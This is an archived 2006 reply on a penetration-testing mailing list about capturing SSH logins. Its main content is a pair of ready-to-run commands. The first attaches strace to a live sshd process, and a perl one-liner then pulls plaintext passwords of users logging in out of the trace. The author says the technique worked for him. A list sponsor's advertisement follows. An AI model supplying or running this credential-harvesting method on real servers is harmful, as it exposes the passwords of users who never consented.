Re: [pen-test] Re: Restoring ssh session

From: Aaron Peterson (aaron@aaronp.com)
Date: Wed May 31 2006 - 20:42:02 EDT


Hello:

On Wed, May 31, 2006 at 04:33:17PM -0500, Michael Rutledge wrote:
> You could grab the source for sshd and recompile with a small
> modification to add in password logging. Granted, as

Depending on your goals here, another method is just to strace the existing
sshd process. This way you can watch the passwords fly by without having to
modify ssh at all. This worked for me:

strace -o /tmp/sshd.strace -f -e write -p <sshd pid>
cat /tmp/sshd.strace | perl -ne 'print "$1\n" if m|^\d+\s+write\(\d+,\s+"\\0\\0\\0\\10(.*)"|'

The output from the second command is a list of passwords from users that
logged in while the strace was running.

HTH,

--
Aaron Peterson
http://midnightresearch.com
------------------------------------------------------------------------------
This List Sponsored by: Cenzic
Concerned about Web Application Security? 
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's 
Choice Award from eWeek. As attacks through web applications continue to rise, 
you need to proactively protect your applications from hackers. Cenzic has the 
most comprehensive solutions to meet your application security penetration 
testing and vulnerability management needs. You have an option to go with a 
managed service (Cenzic ClickToSecure) or an enterprise software 
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can 
help you: http://www.cenzic.com/news_events/wpappsec.php 
And, now for a limited time we can do a FREE audit for you to confirm your 
results from other product. Contact us at request@cenzic.com for details.
------------------------------------------------------------------------------


This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:56:01 EDT